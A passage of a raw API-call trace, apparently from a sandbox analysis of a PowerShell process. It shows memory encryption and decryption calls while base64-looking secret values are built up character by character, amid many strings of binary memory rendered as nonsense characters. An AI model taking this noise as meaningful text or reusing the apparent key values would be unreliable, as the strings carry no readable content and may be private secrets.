SystemFunction040 (in: Memory=0x3afe5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afe5c) returned 0x0 [0262.291] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟囙Ǚ琾ࢁ麻쾧쨈ೠ\믚વ뭢k⊵) returned 0x28 [0262.291] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟囙Ǚ琾ࢁ麻쾧쨈ೠ\믚વ뭢k⊵) returned 0x28 [0262.291] SystemFunction041 (in: Memory=0x3afe5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afe5c) returned 0x0 [0262.291] SysStringLen (param_1="XIFdPrmUK9qiT2kv+y6OZUcu/2ZL9p6YfzgtB秘륻㸏") returned 0x28 [0262.291] SystemFunction040 (in: Memory=0x3afe5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afe5c) returned 0x0 [0262.291] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟囙Ǚ琾ࢁ麻쾧쨈䮘眴ί夆᷁褮㶕") returned 0x28 [0262.291] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟囙Ǚ琾ࢁ麻쾧쨈䮘眴ί夆᷁褮㶕") returned 0x28 [0262.291] SystemFunction041 (in: Memory=0x3afe5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afe5c) returned 0x0 [0262.291] SysStringLen (param_1="XIFdPrmUK9qiT2kv+y6OZUcu/2ZL9p6YfzgtBS륻㸏") returned 0x28 [0262.291] SystemFunction040 (in: Memory=0x3afe5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afe5c) returned 0x0 [0262.291] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟囙Ǚ琾ࢁ麻쾧쨈䖣ꅪ䙨鸬瓒년噭") returned 0x28 [0262.291] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟囙Ǚ琾ࢁ麻쾧쨈䖣ꅪ䙨鸬瓒년噭") returned 0x28 [0262.291] SystemFunction041 (in: Memory=0x3afe5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afe5c) returned 0x0 [0262.292] SysStringLen (param_1="XIFdPrmUK9qiT2kv+y6OZUcu/2ZL9p6YfzgtBS/㸏") returned 0x28 [0262.292] SystemFunction040 (in: Memory=0x3afe5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afe5c) returned 0x0 [0262.292] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟囙Ǚ琾ࢁ麻쾧쨈㊥俩㓄즰㴠㖶թ") returned 0x28 [0262.292] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟囙Ǚ琾ࢁ麻쾧쨈㊥俩㓄즰㴠㖶թ") returned 0x28 [0262.292] SystemFunction041 (in: Memory=0x3afe5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afe5c) returned 0x0 [0262.292] SysStringLen (param_1="XIFdPrmUK9qiT2kv+y6OZUcu/2ZL9p6YfzgtBS/W") returned 0x28 [0262.292] SystemFunction040 (in: Memory=0x3afe5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afe5c) returned 0x0 [0262.292] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟囙Ǚ琾ࢁ麻쾧쨈擛娗አꆭ⇻뛩菱欌") returned 0x28 [0262.292] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟囙Ǚ琾ࢁ麻쾧쨈擛娗አꆭ⇻뛩菱欌") returned 0x28 [0262.292] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟囙Ǚ琾ࢁ麻쾧쨈擛娗አꆭ⇻뛩菱欌") returned 0x28 [0262.293] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟囙Ǚ琾ࢁ麻쾧쨈擛娗አꆭ⇻뛩菱欌") returned 0x30 [0262.293] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0262.293] SysStringLen (param_1="XIFdPrmUK9qiT2kv+y6OZUcu/2ZL9p6YfzgtBS/WP抂旉᭣ꨔ\x96꘷") returned 0x30 [0262.293] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0262.293] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟囙Ǚ琾ࢁ麻쾧쨈擛娗አꆭ⇻뛩菱欌鐃䗚ꮬ鐘ӽ亀攪") returned 0x30 [0262.293] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟囙Ǚ琾ࢁ麻쾧쨈擛娗አꆭ⇻뛩菱欌鐃䗚ꮬ鐘ӽ亀攪") returned 0x30 [0262.293] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0262.294] SysStringLen (param_1="XIFdPrmUK9qiT2kv+y6OZUcu/2ZL9p6YfzgtBS/WPN旉᭣ꨔ\x96꘷") returned 0x30 [0262.294] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0262.294] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟囙Ǚ琾ࢁ麻쾧쨈擛娗አꆭ⇻뛩菱欌ᯯ㓳ਤ뱕䇿⾥") returned 0x30 [0262.294] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟囙Ǚ琾ࢁ麻쾧쨈擛娗አꆭ⇻뛩菱欌ᯯ㓳ਤ뱕䇿⾥") returned 0x30 [0262.294] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0262.294] SysStringLen (param_1="XIFdPrmUK9qiT2kv+y6OZUcu/2ZL9p6YfzgtBS/WPNw᭣ꨔ\x96꘷") returned 0x30 [0262.294] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0262.294] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟囙Ǚ琾ࢁ麻쾧쨈擛娗አꆭ⇻뛩菱欌㊸籤쐜糄垢诼귗\⋜) returned 0x30 [0262.294] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟囙Ǚ琾ࢁ麻쾧쨈擛娗አꆭ⇻뛩菱欌㊸籤쐜糄垢诼귗\⋜) returned 0x30 [0262.294] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0262.294] SysStringLen (param_1="XIFdPrmUK9qiT2kv+y6OZUcu/2ZL9p6YfzgtBS/WPNw=ꨔ\x96꘷") returned 0x30 [0262.294] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0262.295] EtwEventActivityIdControl () returned 0x0 [0262.295] EtwEventActivityIdControl () returned 0x0 [0262.295] EtwEventActivityIdControl () returned 0x0 [0262.295] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.296] EtwEventActivityIdControl () returned 0x0 [0262.296] EtwEventActivityIdControl () returned 0x0 [0262.296] EtwEventActivityIdControl () returned 0x0 [0262.297] SysStringLen (param_1="") returned 0x8 [0262.297] SysStringLen (param_1="N") returned 0x8 [0262.297] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.297] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0262.297] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0262.297] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.297] SysStringLen (param_1="ND") returned 0x8 [0262.297] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.298] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0262.298] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0262.298] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.298] SysStringLen (param_1="NDZ") returned 0x8 [0262.298] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.298] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0262.298] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0262.298] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.298] SysStringLen (param_1="NDZl") returned 0x8 [0262.298] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.298] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0262.298] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0262.298] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.299] SysStringLen (param_1="NDZlO") returned 0x8 [0262.299] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.299] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0262.299] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0262.299] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.299] SysStringLen (param_1="NDZlOD") returned 0x8 [0262.299] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.299] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0262.299] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0262.299] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.299] SysStringLen (param_1="NDZlODR") returned 0x8 [0262.300] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.300] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0262.300] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0262.300] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.300] SysStringLen (param_1="NDZlODRm") returned 0x8 [0262.300] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.300] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0262.300] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0262.300] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0262.301] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0262.301] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.301] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0262.301] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.301] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0262.301] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0262.301] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.302] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0262.302] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.302] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0262.302] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0262.302] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.302] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0262.302] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.302] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0262.302] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0262.302] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.302] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0262.302] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.303] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0262.303] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0262.303] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.303] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0262.303] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.303] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0262.303] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0262.303] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.303] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0262.303] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.304] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0262.304] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0262.304] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.304] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0262.304] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.304] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0262.304] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0262.304] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.304] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0262.304] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.304] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0262.305] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0262.305] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0262.305] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0262.305] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.305] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0262.305] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.306] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0262.306] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0262.306] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.306] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0262.306] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.306] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0262.306] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0262.306] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.306] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0262.306] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.306] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0262.306] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0262.306] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.307] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0262.307] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.307] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0262.307] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0262.307] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.307] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0262.307] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.307] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0262.307] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0262.307] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.307] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0262.307] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.307] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0262.308] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0262.308] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.308] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0262.308] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.308] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0262.308] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0262.308] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.308] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0262.308] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.308] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0262.308] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0262.309] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0262.309] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0262.309] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.309] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0262.309] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.309] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0262.309] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0262.309] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.309] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0262.310] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.310] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0262.310] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0262.310] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.310] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0262.310] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.310] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0262.310] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0262.310] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.310] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0262.310] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.310] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0262.310] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0262.310] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.311] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0262.311] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.311] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0262.311] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0262.311] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.311] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0262.311] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.311] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0262.311] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0262.311] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.311] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0262.311] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: 